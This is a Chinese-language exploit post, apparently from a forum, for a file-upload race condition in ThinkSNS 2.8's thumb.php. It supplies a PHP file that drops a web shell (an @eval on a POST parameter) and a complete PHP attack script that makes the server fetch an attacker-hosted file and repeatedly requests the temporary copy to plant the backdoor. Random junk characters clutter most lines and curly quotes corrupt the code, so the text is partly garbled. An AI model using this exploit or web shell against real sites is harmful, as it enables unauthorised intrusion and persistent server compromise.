漏洞版本
8 M, H9 |! E8 O# A$ {存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
# A, [6 N7 S! W0 A# B! c漏洞文件
, g9 k+ |9 L# r& i" q( ]/ N G存在漏洞的文件为:thumb.php
9 u$ Q0 [2 ]+ l9 J, ]作者:韦鲲鹏
' G. m* C; ~6 H* A1、 准备如下PHP文件并上传到服务器(自己的)。
0 Z+ Z( O# ~, {+ X文件内容如下:
$ S9 ^- ]# U& T, ?<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
! y$ m5 d+ v h$ n! t, z2、 计算出临时的文件名:3 f, J$ o# a' u5 ^' Y
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
/ n% x( c8 u- f& N- u6 [% O- Z/ n5 N! U- Y ~, y
3、 上传临时文件。3 A) B) \# u3 ~, w, r
4、 访问临时文件。
; J9 K) m4 s# D7 @3 r! X$ q6 @但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
' n1 _+ a- _+ D, AExploit文件内容如下:(这个我就不详细解释了)
* X& P9 ^4 P# C' e" v( W+ E+ n8 I<?php
" O1 J/ q. V7 S6 Verror_reporting(0);
, s' F6 |+ u4 ~ q3 L0 X* `set_time_limit(0);
& d F2 z* t3 x, ~; _/ E# Jini_set(“default_socket_timeout”, 5);9 z+ |3 n. q7 V5 A5 ~
function http_send($host, $port, $headers) {* F* ]6 ?3 i ?4 U2 m* b
$fp = fsockopen($host, $port);
0 P. K, d `9 \9 }7 gif (!$fp) die(‘Connection -> fail’);9 s. ^% b0 o3 E0 j; ?# N0 Y+ \
fputs($fp, $headers);
- h; Q7 ?( k5 z ^- U' \return $fp;) v6 d& y9 E4 q' Z. I
}
& |0 V0 A/ y7 V/ Z5 B! Wfunction http_recv($fp) {
: O( ^- o+ ?$ n, R$ret=”";
0 ^9 i- ^# |2 ^- g3 b" G- i# X- hwhile (!feof($fp)). c+ ~+ F7 x% `' \8 {, N
$ret.= fgets($fp, 1024);
' F3 Z/ N0 I& ~- S- e4 t* tfclose($fp);
$ q* ? Y' e+ V# p" `( j6 e# m& |return $ret;
- o+ d4 H+ z6 q/ v- V' ^, ^) o}6 R! N- b& k; L: Y |
print “\n# ThinkSns Arbitrary File Upload #\n”;
5 c" o( s$ }; {9 q& K' q3 Sprint “# Discovered by 韦鲲鹏 #\n\n”;; A% m; T; F- |; x; |- R' s
if ($argc < 4) {
. m1 S3 H" T' |% F; Y0 ^) Iprint “Usage: php <host> <path> <romote_url>\n”;
* c8 i; W. W0 k/ P' z# mprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;; n* B* c$ Z3 v& V/ u% y
die();
. N0 {1 P/ }- L}
; N1 y$ v) _8 N! K- U5 q2 w/ E3 q$host = $argv[1];
* j$ a1 b' a0 P$path = $argv[2];% f* A c$ u- s. i* y" R
$url = $argv[3];+ n* s. F" l/ ], Z
$i=0;- H; F* F C1 w# z
//上传数据包
+ n! A7 s! s, ^( ?$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
$ T! w' A8 a; w$ s, |0 e% ~$headers_up .= “Host: “.$host.”\r\n”;
. C. N0 f; x) |! E. k- T$headers_up .= “Connection: close\r\n\r\n”;( w+ o3 x) j8 J5 c3 k
echo $headers_up;
. |- t2 b: @% G% u3 j+ I//临时文件访问数据包
. u% j, c( G6 m2 K, w+ F$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
: ^6 m- o* T$ J& x$headers .= “Host: “.$host.”\r\n”;: @4 B- c! q- Y. n4 g, ?
$headers .= “Connection: close\r\n\r\n”;
2 y% X2 M( N& d @& Q% h9 x+ vecho $headers;
- [0 a# L8 b: [while(++$i<10) {/ y# p! l2 e+ M1 Y3 k3 |
fclose(http_send($host, 80, $headers));! W& Z0 A5 t- F# f3 w
}/ H3 T+ m7 Z, x p: J
fclose(http_send($host, 80, $headers_up));
5 n8 U) r, ~7 P! E5 K/ Mwhile(++$i<50) {
5 ]" _; }7 Q0 t( e. C( p& Kfclose(http_send($host, 80, $headers));
3 x5 X7 j9 L; m4 P}: j3 d" {1 J( E$ ~3 _" C6 a3 j
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”; K& g: T4 |0 @( D
$headers .= “Host: “.$host.”\r\n”;
$ l: u& a+ s/ `% H$headers .= “Connection: close\r\n\r\n”;. U9 q7 Q4 ~0 s# e& U
$res=http_recv(http_send($host, 80, $headers));2 @' i4 e! @, |) h% M" C) H- y
if(preg_match(‘/200 OK/’,$res)) {8 G, L# {8 k0 G+ J$ D9 U, D
print “Success!\n\n”;7 e- q4 k6 C8 L4 B+ D/ Q
} else {
9 B5 b7 U! J) l' h ?+ j+ w1 B5 Hprint “Fail!\n\n”;5 R- R2 d! D+ O Z8 @! D/ T
}
3 F3 C. c5 @, R4 [& S8 }2 K' H0 G?>8 Y% s+ h, Q1 }2 p
|